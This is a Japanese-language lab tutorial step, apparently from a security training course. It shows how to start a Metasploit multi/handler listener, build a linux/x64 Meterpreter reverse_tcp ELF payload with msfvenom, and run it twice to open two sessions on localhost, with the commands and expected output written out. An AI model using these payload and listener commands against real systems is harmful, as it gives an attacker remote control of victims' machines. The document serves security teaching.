複数の Meterpreter またはシェルセッションを取得する
このステップでは、Metasploit でリスナーを設定し、ペイロードを実行して 2 つの個別の Meterpreter セッションを作成します。これは、2 つの異なるシステムへのアクセスを取得することをシミュレートします。
まず、ターミナルを開き、Metasploit Framework コンソールを起動します。-q フラグは、バナーを表示せずに静かに起動します。
msfconsole -q
次に、multi/handler という汎用リスナーを設定して、着信接続を待ち受けます。
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
ここで、-j フラグを使用してリスナーをバックグラウンドジョブとして実行します。これにより、リスナーがバックグラウンドで実行されている間も、msfconsole プロンプトで他のコマンドを実行できるようになります。
run -j
ハンドラが開始されたことを示す確認メッセージが表示されるはずです。
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
次に、このリスナーに接続バックするペイロードを生成して実行する必要があります。ターミナルウィンドウの + アイコンをクリックして、新しい 2 番目のターミナルタブを開いてください。
この新しいターミナルで、msfvenom を使用してペイロードを作成します。このコマンドは、実行されるとリスナーに接続バックする ELF 実行可能ファイルを生成します。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf
生成されたペイロードファイルに実行権限を付与します。
chmod +x ~/project/payload.elf
これで、ペイロードを 2 回実行して 2 つのセッションを作成します。コマンドをすぐに再度実行できるように、バックグラウンドプロセス (&) として実行します。
./payload.elf &
./payload.elf &
msfconsole がある最初のターミナルウィンドウに戻ります。2 つの Meterpreter セッションが開かれたことを示すメッセージが表示されます。
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38998) at 2023-10-27 10:30:00 -0400
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:39000) at 2023-10-27 10:30:05 -0400
これで、2 つのアクティブなセッションを正常に確立しました。